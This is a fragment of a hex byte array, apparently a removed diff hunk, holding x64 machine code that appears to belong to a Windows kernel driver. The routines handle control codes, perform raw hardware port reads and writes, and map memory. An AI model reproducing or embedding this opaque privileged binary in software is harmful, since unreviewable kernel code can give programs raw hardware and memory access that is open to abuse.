0x0A, 0x66, 0x89, - 0x73, 0x0C, 0x66, 0x89, 0x43, 0x14, 0xEB, 0x0D, 0xB8, 0x00, 0x01, 0x00, - 0x00, 0x66, 0x89, 0x73, 0x14, 0x66, 0x89, 0x43, 0x0C, 0x48, 0xC7, 0x47, - 0x38, 0x34, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, - 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0xD6, 0x14, - 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x83, - 0xC4, 0x60, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x60, 0x8B, - 0xDA, 0x49, 0x8B, 0xF1, 0x48, 0x8B, 0xD1, 0x49, 0x8B, 0xF8, 0x48, 0x8D, - 0x4C, 0x24, 0x40, 0xFF, 0x15, 0x47, 0x27, 0x00, 0x00, 0x44, 0x8B, 0xCB, - 0x48, 0x89, 0x74, 0x24, 0x30, 0xBB, 0x20, 0x00, 0x00, 0x00, 0xC6, 0x44, - 0x24, 0x28, 0x00, 0x83, 0x64, 0x24, 0x20, 0x00, 0x4C, 0x8D, 0x44, 0x24, - 0x40, 0x8B, 0xD3, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0x18, 0x27, 0x00, 0x00, - 0x85, 0xC0, 0x78, 0x44, 0x48, 0x8B, 0x0E, 0x44, 0x8B, 0xC3, 0x33, 0xD2, - 0x48, 0x8B, 0x49, 0x40, 0xE8, 0x63, 0x19, 0x00, 0x00, 0x48, 0x8D, 0x15, - 0x7C, 0x1A, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0xFF, 0x15, 0xF9, - 0x26, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x40, 0x48, 0x8D, 0x4C, 0x24, - 0x50, 0xFF, 0x15, 0x81, 0x26, 0x00, 0x00, 0x8B, 0xD8, 0x85, 0xC0, 0x79, - 0x09, 0x48, 0x8B, 0x0E, 0xFF, 0x15, 0x7A, 0x26, 0x00, 0x00, 0x8B, 0xC3, - 0x48, 0x8B, 0x5C, 0x24, 0x70, 0x48, 0x8B, 0x74, 0x24, 0x78, 0x48, 0x83, - 0xC4, 0x60, 0x5F, 0xC3, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, - 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, - 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x83, 0x62, - 0x38, 0x00, 0x48, 0x8B, 0xE9, 0x48, 0x8B, 0xB2, 0xB8, 0x00, 0x00, 0x00, - 0x48, 0x8B, 0xFA, 0x4C, 0x8B, 0x71, 0x40, 0xBB, 0x02, 0x00, 0x00, 0xC0, - 0x4C, 0x8B, 0x7A, 0x18, 0x8A, 0x06, 0x44, 0x8B, 0x66, 0x10, 0x8B, 0x4E, - 0x08, 0xA8, 0xFD, 0x0F, 0x84, 0x21, 0x03, 0x00, 0x00, 0x3C, 0x0E, 0x0F, - 0x85, 0x1B, 0x03, 0x00, 0x00, 0x44, 0x8B, 0x46, 0x18, 0xB8, 0x00, 0x28, - 0x50, 0xC3, 0x44, 0x3B, 0xC0, 0x0F, 0x87, 0x21, 0x02, 0x00, 0x00, 0x0F, - 0x84, 0xF2, 0x01, 0x00, 0x00, 0xB8, 0x68, 0x0E, 0x50, 0xC3, 0x44, 0x3B, - 0xC0, 0x0F, 0x87, 0xB4, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x9E, 0x00, 0x00, - 0x00, 0x41, 0x81, 0xF8, 0x50, 0x0E, 0x50, 0xC3, 0x0F, 0x84, 0x81, 0x00, - 0x00, 0x00, 0x41, 0x81, 0xF8, 0x54, 0x0E, 0x50, 0xC3, 0x74, 0x68, 0x41, - 0x81, 0xF8, 0x58, 0x0E, 0x50, 0xC3, 0x74, 0x4F, 0x41, 0x81, 0xF8, 0x5C, - 0x0E, 0x50, 0xC3, 0x74, 0x36, 0x41, 0x81, 0xF8, 0x60, 0x0E, 0x50, 0xC3, - 0x74, 0x1D, 0x41, 0x81, 0xF8, 0x64, 0x0E, 0x50, 0xC3, 0x0F, 0x85, 0xB1, - 0x02, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0x4E, 0xF8, - 0xFF, 0xFF, 0xE9, 0x1E, 0x02, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, - 0xCD, 0xE8, 0x56, 0xF7, 0xFF, 0xFF, 0xE9, 0x0E, 0x02, 0x00, 0x00, 0x4C, - 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0x92, 0xFD, 0xFF, 0xFF, 0xE9, 0xFE, - 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0xF2, 0xF8, - 0xFF, 0xFF, 0xE9, 0xEE, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, - 0xCD, 0xE8, 0x82, 0xFA, 0xFF, 0xFF, 0xE9, 0xDE, 0x01, 0x00, 0x00, 0x4C, - 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0x96, 0x09, 0x00, 0x00, 0xE9, 0xCE, - 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0xCA, 0x0E, - 0x00, 0x00, 0xE9, 0xBE, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF8, 0x6C, 0x0E, - 0x50, 0xC3, 0x0F, 0x84, 0x13, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF8, 0x70, - 0x0E, 0x50, 0xC3, 0x0F, 0x84, 0xE1, 0x00, 0x00, 0x00, 0x41, 0x81, 0xF8, - 0x00, 0x20, 0x50, 0xC3, 0x0F, 0x84, 0xC1, 0x00, 0x00, 0x00, 0x41, 0x81, - 0xF8, 0x04, 0x20, 0x50, 0xC3, 0x74, 0x6B, 0x41, 0x81, 0xF8, 0x08, 0x20, - 0x50, 0xC3, 0x74, 0x20, 0x41, 0x81, 0xF8, 0x80, 0x25, 0x50, 0xC3, 0x0F, - 0x85, 0xFB, 0x01, 0x00, 0x00, 0x45, 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, - 0x8B, 0xC6, 0xE8, 0xA9, 0x07, 0x00, 0x00, 0xE9, 0x65, 0x01, 0x00, 0x00, - 0xBE, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x4C, 0x19, 0x00, 0x00, - 0x44, 0x8B, 0xC6, 0x41, 0x8B, 0xD4, 0xE8, 0xC9, 0x12, 0x00, 0x00, 0x44, - 0x3B, 0xE6, 0x72, 0x18, 0x49, 0x8B, 0x17, 0x48, 0x83, 0xC9, 0xFF, 0xFF, - 0x15, 0xEF, 0x24, 0x00, 0x00, 0x8B, 0xD8, 0x48, 0x8D, 0x0D, 0x56, 0x19, - 0x00, 0x00, 0xEB, 0x51, 0xBB, 0x9A, 0x00, 0x00, 0xC0, 0x48, 0x8D, 0x0D, - 0x78, 0x19, 0x00, 0x00, 0xEB, 0x43, 0x44, 0x8B, 0xC9, 0x45, 0x8B, 0xC4, - 0x48, 0x8B, 0xCD, 0x49, 0x8B, 0xD7, 0xE8, 0xF5, 0x0A, 0x00, 0x00, 0x8B, - 0xD8, 0x85, 0xC0, 0x78, 0x20, 0xBE, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8D, - 0x0D, 0x73, 0x18, 0x00, 0x00, 0x8B, 0xD6, 0xE8, 0x74, 0x12, 0x00, 0x00, - 0x48, 0x8D, 0x0D, 0x85, 0x18, 0x00, 0x00, 0x48, 0x89, 0x77, 0x38, 0xEB, - 0x0C, 0xBB, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8D, 0x0D, 0xA3, 0x18, 0x00, - 0x00, 0xE8, 0x56, 0x12, 0x00, 0x00, 0xE9, 0x59, 0x01, 0x00, 0x00, 0x45, - 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, 0x8B, 0xC6, 0xE8, 0xD7, 0x02, 0x00, - 0x00, 0xE9, 0xC3, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x3F, 0x19, 0x00, - 0x00, 0xE8, 0x32, 0x12, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xD7, - 0x48, 0x8B, 0xCD, 0xE8, 0x7C, 0x07, 0x00, 0x00, 0x8B, 0xD8, 0x48, 0x8D, - 0x0D, 0x43, 0x19, 0x00, 0x00, 0xEB, 0xBE, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, - 0xCD, 0xE8, 0xD2, 0x0E, 0x00, 0x00, 0xE9, 0x8E, 0x00, 0x00, 0x00, 0x48, - 0x8D, 0x0D, 0x4A, 0x19, 0x00, 0x00, 0xE8, 0xFD, 0x11, 0x00, 0x00, 0x44, - 0x8B, 0x4E, 0x18, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xD7, 0x49, 0x8B, 0xCE, - 0xE8, 0xEB, 0xFA, 0xFF, 0xFF, 0x8B, 0xD8, 0x48, 0x8D, 0x0D, 0x4A, 0x19, - 0x00, 0x00, 0xEB, 0x85, 0xB8, 0x04, 0x64, 0x50, 0xC3, 0x44, 0x3B, 0xC0, - 0x0F, 0x87, 0xFD, 0x01, 0x00, 0x00, 0x74, 0x4A, 0x41, 0x81, 0xF8, 0x04, - 0x28, 0x50, 0xC3, 0x0F, 0x84, 0xDB, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF8, - 0x08, 0x28, 0x50, 0xC3, 0x0F, 0x84, 0xAF, 0x01, 0x00, 0x00, 0x41, 0x81, - 0xF8, 0x0C, 0x28, 0x50, 0xC3, 0x0F, 0x84, 0x8F, 0x01, 0x00, 0x00, 0x41, - 0x81, 0xF8, 0x40, 0x28, 0x50, 0xC3, 0x0F, 0x84, 0xDA, 0x00, 0x00, 0x00, - 0x41, 0x81, 0xF8, 0x44, 0x28, 0x50, 0xC3, 0x74, 0x1C, 0x41, 0x81, 0xF8, - 0x00, 0x64, 0x50, 0xC3, 0x0F, 0x85, 0x8E, 0x00, 0x00, 0x00, 0x48, 0x8B, - 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0x7B, 0x02, 0x00, 0x00, 0x8B, 0xD8, 0xEB, - 0x7F, 0x41, 0x83, 0xFC, 0x10, 0x0F, 0x85, 0xA4, 0x00, 0x00, 0x00, 0x41, - 0x83, 0x67, 0x04, 0x00, 0x49, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0xEE, 0x48, - 0x85, 0xF6, 0x74, 0x64, 0x49, 0x8B, 0x07, 0x48, 0x39, 0x46, 0x18, 0x74, - 0x0D, 0x48, 0x8B, 0xEE, 0x48, 0x8B, 0x36, 0x48, 0x85, 0xF6, 0x75, 0xEF, - 0xEB, 0x4E, 0x41, 0x8B, 0x47, 0x08, 0x39, 0x46, 0x20, 0x75, 0x74, 0x48, - 0x8B, 0x56, 0x08, 0x48, 0x8B, 0x4E, 0x18, 0xFF, 0x15, 0xE7, 0x22, 0x00, - 0x00, 0x48, 0x8B, 0x4E, 0x08, 0xFF, 0x15, 0x35, 0x23, 0x00, 0x00, 0x8B, - 0x56, 0x20, 0x48, 0x8B, 0x4E, 0x10, 0xFF, 0x15, 0xE0, 0x22, 0x00, 0x00, - 0x48, 0x8B, 0x06, 0x49, 0x3B, 0x76, 0x18, 0x75, 0x06, 0x49, 0x89, 0x46, - 0x18, 0xEB, 0x04, 0x48, 0x89, 0x45, 0x00, 0x33, 0xD2, 0x48, 0x8B, 0xCE, - 0xFF, 0x15, 0x9A, 0x22, 0x00, 0x00, 0x33, 0xDB, 0x33, 0xD2, 0x89, 0x5F, - 0x30, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0xD2, 0x22, 0x00, 0x00, 0x48, 0x8B, - 0x6C, 0x24, 0x58, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x8B, - 0x74, 0x24, 0x60, 0x48, 0x8B, 0x7C, 0x24, 0x68, 0x48, 0x83, 0xC4, 0x30, - 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5C, 0xC3, 0xBB, 0x0D, 0x00, 0x00, 0xC0, - 0xEB, 0xCA, 0x41, 0x83, 0xFC, 0x10, 0x75, 0xF3, 0x41, 0x3B, 0xCC, 0x75, - 0xEE, 0x41, 0x8B, 0x6F, 0x08, 0x45, 0x33, 0xC0, 0x41, 0x8B, 0x0F, 0x8B, - 0xD5, 0xFF, 0x15, 0x65, 0x22, 0x00, 0x00, 0x48, 0x8B, 0xF0, 0x48, 0x85, - 0xC0, 0x74, 0x79, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x45, 0x33, 0xC9, - 0x45, 0x33, 0xC0, 0x8B, 0xD5, 0x48, 0x8B, 0xC8, 0xFF, 0x15, 0x66, 0x22, - 0x00, 0x00, 0x4C, 0x8B, 0xE0, 0x48, 0x85, 0xC0, 0x74, 0x4E, 0x48, 0x8B, - 0xC8, 0xFF, 0x15, 0x1D, 0x22, 0x00, 0x00, 0xB2, 0x01, 0x49, 0x8B, 0xCC, - 0xFF, 0x15, 0x1A, 0x22, 0x00, 0x00, 0xBA, 0x28, 0x00, 0x00, 0x00, 0x33, - 0xC9, 0x48, 0x8B, 0xD8, 0xFF, 0x15, 0xF2, 0x21, 0x00, 0x00, 0x4C, 0x89, - 0x60, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, 0x89, 0x58, 0x18, 0x89, 0x68, - 0x20, 0x49, 0x8B, 0x4E, 0x18, 0x48, 0x89, 0x08, 0x49, 0x89, 0x46, 0x18, - 0x49, 0x89, 0x1F, 0x48, 0xC7, 0x47, 0x38, 0x10, 0x00, 0x00, 0x00, 0xE9, - 0x36, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0xD5, 0x48, 0x8B, 0xCE, 0xFF, 0x15, - 0xEC, 0x21, 0x00, 0x00, 0xBB, 0x9A, 0x00, 0x00, 0xC0, 0xE9, 0x22, 0xFF, - 0xFF, 0xFF, 0x45, 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, 0x8B, 0xC6, 0xE8, - 0xA4, 0xF9, 0xFF, 0xFF, 0xE9, 0x8C, 0xFE, 0xFF, 0xFF, 0x48, 0x83, 0x62, - 0x38, 0x00, 0x49, 0x8B, 0xCF, 0xE8, 0x26, 0x0B, 0x00, 0x00, 0xF6, 0xD8, - 0xBB, 0x0D, 0x00, 0x00, 0xC0, 0x1B, 0xC9, 0xF7, 0xD1, 0x23, 0xD9, 0xE9, - 0xF0, 0xFE, 0xFF, 0xFF, 0x45, 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, 0x8B, - 0xC6, 0xE8, 0x2E, 0xF9, 0xFF, 0xFF, 0xE9, 0x5A, 0xFE, 0xFF, 0xFF, 0x41, - 0x81, 0xF8, 0x08, 0x64, 0x50, 0xC3, 0x0F, 0x84, 0x42, 0xFE, 0xFF, 0xFF, - 0x41, 0x8D, 0x80, 0xC0, 0x5B, 0xAF, 0x3C, 0xA9, 0xF3, 0xFF, 0xFF, 0xFF, - 0x75, 0x19, 0x41, 0x81, 0xF8, 0x4C, 0xA4, 0x50, 0xC3, 0x74, 0x10, 0x48, - 0x8B, 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0xE6, 0x02, 0x00, 0x00, 0xE9, 0x26, - 0xFE, 0xFF, 0xFF, 0x41, 0x81, 0xF8, 0x4C, 0xE4, 0x50, 0xC3, 0x74, 0x1A, - 0x41, 0x81, 0xF8, 0x54, 0xE4, 0x50, 0xC3, 0x0F, 0x85, 0x93, 0xFE, 0xFF, - 0xFF, 0x48, 0x8B, 0xCD, 0xE8, 0xF3, 0x01, 0x00, 0x00, 0xE9, 0x03, 0xFE, - 0xFF, 0xFF, 0x48, 0x8B, 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0x37, 0x01, 0x00, - 0x00, 0xE9, 0xF3, 0xFD, 0xFF, 0xFF, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, - 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x7A, 0x18, 0x48, 0x8B, 0xEA, 0x41, - 0x8B, 0x70, 0x10, 0x45, 0x33, 0xC0, 0x8B, 0x57, 0x14, 0x48, 0x8B, 0x4F, - 0x08, 0xFF, 0x15, 0xFD, 0x20, 0x00, 0x00, 0x44, 0x8B, 0x47, 0x14, 0x48, - 0x8B, 0xD0, 0x48, 0x63, 0x4F, 0x18, 0x48, 0x8B, 0xD8, 0xE8, 0xA2, 0x10, - 0x00, 0x00, 0x8B, 0x57, 0x14, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xE6, 0x20, - 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x33, 0xC0, 0x48, 0x89, 0x75, - 0x38, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, - 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x10, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x20, - 0x48, 0x8B, 0x59, 0x18, 0x48, 0x8B, 0xE9, 0x44, 0x8B, 0x7A, 0x10, 0x48, - 0x8D, 0x0D, 0x66, 0x16, 0x00, 0x00, 0x44, 0x8B, 0x72, 0x08, 0x41, 0x8B, - 0xF8, 0xE8, 0xD2, 0x0E, 0x00, 0x00, 0x41, 0xB8, 0x04, 0x64, 0x50, 0xC3, - 0xB9, 0x08, 0x64, 0x50, 0xC3, 0x41, 0x3B, 0xF8, 0x74, 0x1A, 0x3B, 0xF9, - 0x74, 0x0F, 0x0F, 0xB7, 0x03, 0xBE, 0x01, 0x00, 0x00, 0x00, 0x0F, 0xB7, - 0x54, 0x24, 0x54, 0xEB, 0x14, 0xBE, 0x04, 0x00, 0x00, 0x00, 0xEB, 0x05, - 0xBE, 0x02, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0x44, 0x24, 0x60, 0x0F, 0xB7, - 0x13, 0x41, 0x83, 0xFF, 0x04, 0x75, 0x41, 0x44, 0x3B, 0xF6, 0x72, 0x3C, - 0x81, 0xFF, 0x00, 0x64, 0x50, 0xC3, 0x74, 0x15, 0x41, 0x3B, 0xF8, 0x74, - 0x09, 0x3B, 0xF9, 0x75, 0x21, 0xED, 0x89, 0x03, 0xEB, 0x1C, 0x66, 0xED, - 0x66, 0x89, 0x03, 0xEB, 0x15, 0x0F, 0xB7, 0xD0, 0x48, 0x8D, 0x0D, 0x01, - 0x16, 0x00, 0x00, 0xEC, 0x0F, 0xB6, 0xD0, 0x88, 0x13, 0xE8, 0x5E, 0x0E, - 0x00, 0x00, 0x8B, 0xC6, 0x48, 0x89, 0x45, 0x38, 0x33, 0xC0, 0xEB, 0x05, - 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x58, 0x48, 0x83, - 0xC4, 0x20, 0x41, 0x5F, 0x41, 0x5E, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, - 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x59, 0x18, - 0x48, 0x8B, 0xF1, 0x8B, 0x7A, 0x10, 0x8B, 0x6A, 0x08, 0x0F, 0xB7, 0x03, - 0x66, 0x89, 0x05, 0xDB, 0x2F, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x02, 0x66, - 0x89, 0x05, 0xCE, 0x2F, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x04, 0x66, 0x89, - 0x05, 0xC1, 0x2F, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x06, 0x66, 0x89, 0x05, - 0xB4, 0x2F, 0x00, 0x00, 0xE8, 0x63, 0xEF, 0xFF, 0xFF, 0x0F, 0xB7, 0x05, - 0xAE, 0x2F, 0x00, 0x00, 0x66, 0x89, 0x03, 0x0F, 0xB7, 0x05, 0xA2, 0x2F, - 0x00, 0x00, 0x66, 0x89, 0x43, 0x02, 0x0F, 0xB7, 0x05, 0x95, 0x2F, 0x00, - 0x00, 0x66, 0x89, 0x43, 0x04, 0x0F, 0xB7, 0x05, 0x88, 0x2F, 0x00, 0x00, - 0x66, 0x89, 0x43, 0x06, 0x83, 0xFF, 0x08, 0x75, 0x10, 0x3B, 0xEF, 0x72, - 0x0C, 0x48, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xEB, - 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, - 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x83, 0xC4, - 0x20, 0x5F, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, - 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, - 0x48, 0x8B, 0x5A, 0x18, 0x48, 0x8B, 0xF2, 0x48, 0x8B, 0x82, 0xB8, 0x00, - 0x00, 0x00, 0x8B, 0x78, 0x10, 0x8B, 0x68, 0x08, 0x8B, 0x03, 0x89, 0x05, - 0x10, 0x2F, 0x00, 0x00, 0x8B, 0x43, 0x04, 0x89, 0x05, 0x03, 0x2F, 0x00, - 0x00, 0x8B, 0x43, 0x08, 0x89, 0x05, 0xF6, 0x2E, 0x00, 0x00, 0x8B, 0x43, - 0x0C, 0x89, 0x05, 0xE9, 0x2E, 0x00, 0x00, 0x8B, 0x43, 0x10, 0x89, 0x05, - 0xDC, 0x2E, 0x00, 0x00, 0x8B, 0x43, 0x14, 0x89, 0x05, 0xCF, 0x2E, 0x00, - 0x00, 0xE8, 0x0C, 0xEF, 0xFF, 0xFF, 0x8B, 0x05, 0xD8, 0x2E, 0x00, 0x00, - 0x89, 0x03, 0x8B, 0x05, 0xCC, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x04, 0x8B, - 0x05, 0xBF, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x08, 0x8B, 0x05, 0xB2, 0x2E, - 0x00, 0x00, 0x89, 0x43, 0x0C, 0x8B, 0x05, 0xA5, 0x2E, 0x00, 0x00, 0x89, - 0x43, 0x10, 0x8B, 0x05, 0x98, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x14, 0x8B, - 0x05, 0x8B, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x18, 0x83, 0xFF, 0x1C, 0x75, - 0x10, 0x3B, 0xEF, 0x72, 0x0C, 0x48, 0xC7, 0x46, 0x38, 0x1C, 0x00, 0x00, - 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, - 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, - 0x40, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x10, 0x48, 0x89, 0x6C, 0x24, 0x20, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, - 0xEC, 0x20, 0x44, 0x8B, 0x72, 0x10, 0x41, 0x8B, 0xF0, 0x48, 0x83, 0x61, - 0x38, 0x00, 0x48, 0x8B, 0x59, 0x18, 0x48, 0x8D, 0x0D, 0x4F, 0x14, 0x00, - 0x00, 0xE8, 0x92, 0x0C, 0x00, 0x00, 0x41, 0xB8, 0x44, 0xA4, 0x50, 0xC3, - 0xBA, 0x48, 0xA4, 0x50, 0xC3, 0x41, 0x3B, 0xF0, 0x74, 0x1A, 0x3B, 0xF2, - 0x74, 0x0F, 0x0F, 0xB7, 0x2B, 0xB9, 0x05, 0x00, 0x00, 0x00, 0x0F, 0xB7, - 0x7C, 0x24, 0x44, 0xEB, 0x14, 0xB9, 0x08, 0x00, 0x00, 0x00, 0xEB, 0x05, - 0xB9, 0x06, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0x6C, 0x24, 0x50, 0x0F, 0xB7, - 0x3B, 0x4C, 0x3B, 0xF1, 0x73, 0x07, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0xEB, - 0x75, 0x81, 0xFE, 0x40, 0xA4, 0x50, 0xC3, 0x74, 0x44, 0x41, 0x3B, 0xF0, - 0x74, 0x20, 0x3B, 0xF2, 0x75, 0x56, 0x44, 0x8B, 0x43, 0x04, 0x48, 0x8D, - 0x0D, 0x0B, 0x14, 0x00, 0x00, 0x0F, 0xB7, 0xD7, 0xE8, 0x2B, 0x0C, 0x00, - 0x00, 0x8B, 0x43, 0x04, 0x0F, 0xB7, 0xD7, 0xEF, 0xEB, 0x1D, 0x44, 0x0F, - 0xB7, 0x43, 0x04, 0x48, 0x8D, 0x0D, 0xEE, 0x13, 0x00, 0x00, 0x0F, 0xB7, - 0xD7, 0xE8, 0x0E, 0x0C, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x04, 0x0F, 0xB7, - 0xD7, 0x66, 0xEF, 0xEB, 0x1B, 0x44, 0x0F, 0xB6, 0x43, 0x04, 0x48, 0x8D, - 0x0D, 0xCF, 0x13, 0x00, 0x00, 0x0F, 0xB7, 0xD5, 0xE8, 0xEF, 0x0B, 0x00, - 0x00, 0x8A, 0x43, 0x04, 0x0F, 0xB7, 0xD5, 0xEE, 0x48, 0x8D, 0x0D, 0xC9, - 0x13, 0x00, 0x00, 0xE8, 0xDC, 0x0B, 0x00, 0x00, 0x33, 0xC0, 0x48, 0x8B, - 0x5C, 0x24, 0x48, 0x48, 0x8B, 0x6C, 0x24, 0x58, 0x48, 0x83, 0xC4, 0x20, - 0x41, 0x5E, 0x5F, 0x5E, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, 0x41, 0x08, 0x48, 0x8B, - 0x78, 0x40, 0x48, 0x8B, 0x5F, 0x18, 0x48, 0x85, 0xDB, 0x74, 0x39, 0x48, - 0x8B, 0x03, 0x48, 0x89, 0x47, 0x18, 0x48, 0x8B, 0x53, 0x08, 0x48, 0x8B, - 0x4B, 0x18, 0xFF, 0x15, 0x4C, 0x1D, 0x00, 0x00, 0x48, 0x8B, 0x4B, 0x08, - 0xFF, 0x15, 0x9A, 0x1D, 0x00, 0x00, 0x8B, 0x53, 0x20, 0x48, 0x8B, 0x4B, - 0x10, 0xFF, 0x15, 0x45, 0x1D, 0x00, 0x00, 0x33, 0xD2, 0x48, 0x8B, 0xCB, - 0xFF, 0x15, 0x12, 0x1D, 0x00, 0x00, 0xEB, 0xBE, 0x48, 0x8D, 0x15, 0x41, - 0x11, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0xBE, 0x1D, - 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0x5B, 0x1D, 0x00, - 0x00, 0x48, 0x8B, 0x4F, 0x10, 0xFF, 0x15, 0x49, 0x1D, 0x00, 0x00, 0x48, - 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x83, 0xC4, 0x30, 0x5F, 0xC3, 0xCC, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x8B, - 0x40, 0x08, 0x48, 0x8B, 0xFA, 0x48, 0x8B, 0x5A, 0x18, 0x41, 0x39, 0x40, - 0x10, 0x75, 0x67, 0x83, 0xF8, 0x10, 0x75, 0x62, 0x33, 0xD2, 0x48, 0x89, - 0x57, 0x38, 0x8B, 0x43, 0x04, 0x89, 0x05, 0xC9, 0x2C, 0x00, 0x00, 0x89, - 0x15, 0xBB, 0x2C, 0x00, 0x00, 0x89, 0x15, 0xB9, 0x2C, 0x00, 0x00, 0x8B, - 0x0B, 0x85, 0xC9, 0x74, 0x1E, 0x83, 0xF9, 0x01, 0x75, 0x3C, 0xE8, 0x2F, - 0xED, 0xFF, 0xFF, 0x8B, 0x05, 0xA3, 0x2C, 0x00, 0x00, 0x89, 0x43, 0x08, - 0x8B, 0x05, 0x96, 0x2C, 0x00, 0x00, 0x89, 0x43, 0x0C, 0xEB, 0x17, 0x8B, - 0x43, 0x08, 0x89, 0x05, 0x8C, 0x2C, 0x00, 0x00, 0x8B, 0x43, 0x0C, 0x89, - 0x05, 0x7F, 0x2C, 0x00, 0x00, 0xE8, 0x21, 0xED, 0xFF, 0xFF, 0x48, 0xC7, - 0x47, 0x38, 0x10, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, - 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 